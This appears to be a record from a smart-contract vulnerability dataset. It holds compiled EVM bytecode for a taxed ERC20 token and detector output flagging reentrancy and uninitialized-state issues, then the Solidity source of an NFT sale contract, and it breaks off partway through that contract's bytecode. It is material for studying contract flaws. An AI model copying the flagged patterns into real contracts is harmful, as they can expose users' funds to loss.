15611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dd906135d4565b60405180910390fd5b60008111611829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182090613666565b60405180910390fd5b611831610c42565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561189f575061186f610c42565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601560149054906101000a900460ff1661192e576118c0610c42565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611924906136f8565b60405180910390fd5b5b601654811115611973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196a90613764565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a175750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d906137f6565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b035760175481611ab8846109d0565b611ac29190613816565b10611b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af9906138de565b60405180910390fd5b5b6000611b0e306109d0565b9050600060185482101590506016548210611b295760165491505b808015611b41575060158054906101000a900460ff16155b8015611b9b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb35750601560169054906101000a900460ff165b8015611c095750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c5f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757611c6d826120c9565b60004790506000811115611c8557611c8447611fef565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611df25760009050611f79565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eb557600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f605750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f7857600a54600c81905550600b54600d819055505b5b611f858484848461234f565b50505050565b6000838311158290611fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fca9190612b12565b60405180910390fd5b5060008385611fe291906138fe565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612057573d6000803e3d6000fd5b5050565b60006006548211156120a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612099906139a4565b60405180910390fd5b60006120ac61237c565b90506120c181846123a790919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612100576120ff6139c4565b5b60405190808252806020026020018201604052801561212e5781602001602082028036833780820191505090505b509050308160008151811061214657612145613273565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121e857600080fd5b505afa1580156121fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122209190613a08565b8160018151811061223457612233613273565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061229b30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461153b565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122ff959493929190613b2e565b600060405180830381600087803b15801561231957600080fd5b505af115801561232d573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061235d5761235c6123f1565b5b612368848484612434565b80612376576123756125ff565b5b50505050565b6000806000612389612613565b915091506123a081836123a790919063ffffffff16565b9250505090565b60006123e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612675565b905092915050565b6000600c5414801561240557506000600d54145b1561240f57612432565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612446876126d8565b9550955095509550955095506124a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612585816127e8565b61258f84836128a5565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125ec9190612cd1565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea000009050612649683635c9adc5dea000006006546123a790919063ffffffff16565b82101561266857600654683635c9adc5dea00000935093505050612671565b81819350935050505b9091565b600080831182906126bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b39190612b12565b60405180910390fd5b50600083856126cb9190613bb7565b9050809150509392505050565b60008060008060008060008060006126f58a600c54600d546128df565b925092509250600061270561237c565b905060008060006127188e878787612975565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061278283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f8b565b905092915050565b60008082846127999190613816565b9050838110156127de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d590613c34565b60405180910390fd5b8091505092915050565b60006127f261237c565b9050600061280982846129fe90919063ffffffff16565b905061285d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128ba8260065461274090919063ffffffff16565b6006819055506128d58160075461278a90919063ffffffff16565b6007819055505050565b60008060008061290b60646128fd888a6129fe90919063ffffffff16565b6123a790919063ffffffff16565b905060006129356064612927888b6129fe90919063ffffffff16565b6123a790919063ffffffff16565b9050600061295e82612950858c61274090919063ffffffff16565b61274090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061298e85896129fe90919063ffffffff16565b905060006129a586896129fe90919063ffffffff16565b905060006129bc87896129fe90919063ffffffff16565b905060006129e5826129d7858761274090919063ffffffff16565b61274090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a115760009050612a73565b60008284612a1f9190613c54565b9050828482612a2e9190613bb7565b14612a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6590613d20565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ab3578082015181840152602081019050612a98565b83811115612ac2576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ae482612a79565b612aee8185612a84565b9350612afe818560208601612a95565b612b0781612ac8565b840191505092915050565b60006020820190508181036000830152612b2c8184612ad9565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b6982612b3e565b9050919050565b612b7981612b5e565b8114612b8457600080fd5b50565b600081359050612b9681612b70565b92915050565b6000819050919050565b612baf81612b9c565b8114612bba57600080fd5b50565b600081359050612bcc81612ba6565b92915050565b60008060408385031215612be957612be8612b34565b5b6000612bf785828601612b87565b9250506020612c0885828601612bbd565b9150509250929050565b60008115159050919050565b612c2781612c12565b82525050565b6000602082019050612c426000830184612c1e565b92915050565b6000819050919050565b6000612c6d612c68612c6384612b3e565b612c48565b612b3e565b9050919050565b6000612c7f82612c52565b9050919050565b6000612c9182612c74565b9050919050565b612ca181612c86565b82525050565b6000602082019050612cbc6000830184612c98565b92915050565b612ccb81612b9c565b82525050565b6000602082019050612ce66000830184612cc2565b92915050565b600080600060608486031215612d0557612d04612b34565b5b6000612d1386828701612b87565b9350506020612d2486828701612b87565b9250506040612d3586828701612bbd565b9150509250925092565b600060ff82169050919050565b612d5581612d3f565b82525050565b6000602082019050612d706000830184612d4c565b92915050565b612d7f81612b5e565b82525050565b6000602082019050612d9a6000830184612d76565b92915050565b612da981612c12565b8114612db457600080fd5b50565b600081359050612dc681612da0565b92915050565b600060208284031215612de257612de1612b34565b5b6000612df084828501612db7565b91505092915050565b600060208284031215612e0f57612e0e612b34565b5b6000612e1d84828501612b87565b91505092915050565b600060208284031215612e3c57612e3b612b34565b5b6000612e4a84828501612bbd565b91505092915050565b60008060008060808587031215612e6d57612e6c612b34565b5b6000612e7b87828801612bbd565b9450506020612e8c87828801612bbd565b9350506040612e9d87828801612bbd565b9250506060612eae87828801612bbd565b91505092959194509250565b600080fd5b600080fd5b600080fd5b60008083601f840112612edf57612ede612eba565b5b8235905067ffffffffffffffff811115612efc57612efb612ebf565b5b602083019150836020820283011115612f1857612f17612ec4565b5b9250929050565b600080600060408486031215612f3857612f37612b34565b5b600084013567ffffffffffffffff811115612f5657612f55612b39565b5b612f6286828701612ec9565b93509350506020612f7586828701612db7565b9150509250925092565b60008060408385031215612f9657612f95612b34565b5b6000612fa485828601612b87565b9250506020612fb585828601612b87565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff5602083612a84565b915061300082612fbf565b602082019050919050565b6000602082019050818103600083015261302481612fe8565b9050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613087602583612a84565b91506130928261302b565b604082019050919050565b600060208201905081810360008301526130b68161307a565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613119602283612a84565b9150613124826130bd565b604082019050919050565b600060208201905081810360008301526131488161310c565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b60006131ab602683612a84565b91506131b68261314f565b604082019050919050565b600060208201905081810360008301526131da8161319e565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3230250000000000000000000000000000000000000000000000000000000000602082015250565b600061323d602383612a84565b9150613248826131e1565b604082019050919050565b6000602082019050818103600083015261326c81613230565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132dc82612b9c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561330f5761330e6132a2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613376602683612a84565b91506133818261331a565b604082019050919050565b600060208201905081810360008301526133a581613369565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613408602483612a84565b9150613413826133ac565b604082019050919050565b60006020820190508181036000830152613437816133fb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061349a602283612a84565b91506134a58261343e565b604082019050919050565b600060208201905081810360008301526134c98161348d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061352c602583612a84565b9150613537826134d0565b604082019050919050565b6000602082019050818103600083015261355b8161351f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006135be602383612a84565b91506135c982613562565b604082019050919050565b600060208201905081810360008301526135ed816135b1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613650602983612a84565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006136e2603f83612a84565b91506136ed82613686565b604082019050919050565b60006020820190508181036000830152613711816136d5565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b600061374e601c83612a84565b915061375982613718565b602082019050919050565b6000602082019050818103600083015261377d81613741565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006137e0602383612a84565b91506137eb82613784565b604082019050919050565b6000602082019050818103600083015261380f816137d3565b9050919050565b600061382182612b9c565b915061382c83612b9c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613861576138606132a2565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006138c8602383612a84565b91506138d38261386c565b604082019050919050565b600060208201905081810360008301526138f7816138bb565b9050919050565b600061390982612b9c565b915061391483612b9c565b925082821015613927576139266132a2565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061398e602a83612a84565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050613a0281612b70565b92915050565b600060208284031215613a1e57613a1d612b34565b5b6000613a2c848285016139f3565b91505092915050565b6000819050919050565b6000613a5a613a55613a5084613a35565b612c48565b612b9c565b9050919050565b613a6a81613a3f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613aa581612b5e565b82525050565b6000613ab78383613a9c565b60208301905092915050565b6000602082019050919050565b6000613adb82613a70565b613ae58185613a7b565b9350613af083613a8c565b8060005b83811015613b21578151613b088882613aab565b9750613b1383613ac3565b925050600181019050613af4565b5085935050505092915050565b600060a082019050613b436000830188612cc2565b613b506020830187613a61565b8181036040830152613b628186613ad0565b9050613b716060830185612d76565b613b7e6080830184612cc2565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bc282612b9c565b9150613bcd83612b9c565b925082613bdd57613bdc613b88565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c1e601b83612a84565b9150613c2982613be8565b602082019050919050565b60006020820190508181036000830152613c4d81613c11565b9050919050565b6000613c5f82612b9c565b9150613c6a83612b9c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ca357613ca26132a2565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d0a602183612a84565b9150613d1582613cae565b604082019050919050565b60006020820190508181036000830152613d3981613cfd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220afc5acb3fcdb4cd72ee1cc18457541a6fb7c18bc9526b069d2d25dd70ef397b164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
547
0x0b85557b5cfef1fa3e7cc850ca5bebb81923d780
/** *Submitted for verification at Etherscan.io on 2021-11-30 */ //SPDX-License-Identifier: MIT pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC1155 { event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount ); event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts ); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _amount, uint256 indexed _id); function mint( address _to, uint256 _id, uint256 _quantity, bytes calldata _data ) external; function create( uint256 _maxSupply, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external returns (uint256 tokenId); function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data ) external; function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data ) external; function balanceOf(address _owner, uint256 _id) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); function setApprovalForAll(address _operator, bool _approved) external; function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract NFTPOE is Ownable { uint256 public nftid; mapping(address => bool) private purchased; mapping(address => bool) private blacklist; address public seller; address public rarigang; address public currency; address public gdao; address public xgdao; constructor(uint256 _nftid, address _seller, address _rarigang, address _currency, address _gdao, address _xgdao) public{ nftid = _nftid; seller = _seller; rarigang = _rarigang; currency = _currency; gdao = _gdao; xgdao = _xgdao; } function addBlacklist(address user) public onlyOwner{ blacklist[user] = true; } function addManyBlacklist(address[] memory user) public onlyOwner{ for (uint i = 0; i < user.length; i++){ blacklist[user[i]] = true; } } function removeBlacklist(address user) public onlyOwner{ blacklist[user] = false; } function isBlacklisted(address user) public view returns (bool){ return blacklist[user]; } function hasPurchased(address buyer) public view returns (bool){ return purchased[buyer]; } function purchase() public { require(!isBlacklisted(msg.sender), "Cannot buy: blacklisted wallet!"); require(IERC20(currency).balanceOf(msg.sender) == 1, "Need to authenticate first!"); require(IERC20(gdao).balanceOf(msg.sender) >= 50*1e18 || IERC20(xgdao).balanceOf(msg.sender) >= 50*1e18, "Must hold 50 GDAO!"); require(!hasPurchased(msg.sender), "Cannot buy: Already purchased!"); require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!"); IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, ""); purchased[msg.sender] = true; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063994f4f9f11610097578063e5a6b10f11610066578063e5a6b10f14610423578063eb91e6511461046d578063f2fde38b146104b1578063fe575a87146104f557610100565b8063994f4f9f146102935780639cfe42da146102dd578063a29a0d9014610321578063a371a99f1461036b57610100565b806383ff1a7e116100d357806383ff1a7e146101815780638da5cb5b146101cb5780638f32d59b1461021557806390118fb41461023757610100565b806308551a531461010557806364edfbf01461014f5780636fd976bc14610159578063715018a614610177575b600080fd5b61010d610551565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610157610577565b005b610161610d0d565b6040518082815260200191505060405180910390f35b61017f610d13565b005b610189610e4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101d3610e72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61021d610e9b565b604051808215151515815260200191505060405180910390f35b6102796004803603602081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef9565b604051808215151515815260200191505060405180910390f35b61029b610f4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f75565b005b61032961104a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104216004803603602081101561038157600080fd5b810190808035906020019064010000000081111561039e57600080fd5b8201836020820111156103b057600080fd5b803590602001918460208302840111640100000000831117156103d257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611070565b005b61042b611175565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af6004803603602081101561048357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119b565b005b6104f3600480360360208110156104c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611270565b005b6105376004803603602081101561050b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f6565b604051808215151515815260200191505060405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610580336112f6565b156105f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e6e6f74206275793a20626c61636b6c69737465642077616c6c6574210081525060200191505060405180910390fd5b6001600660009054906101000a900473ffffffffffffff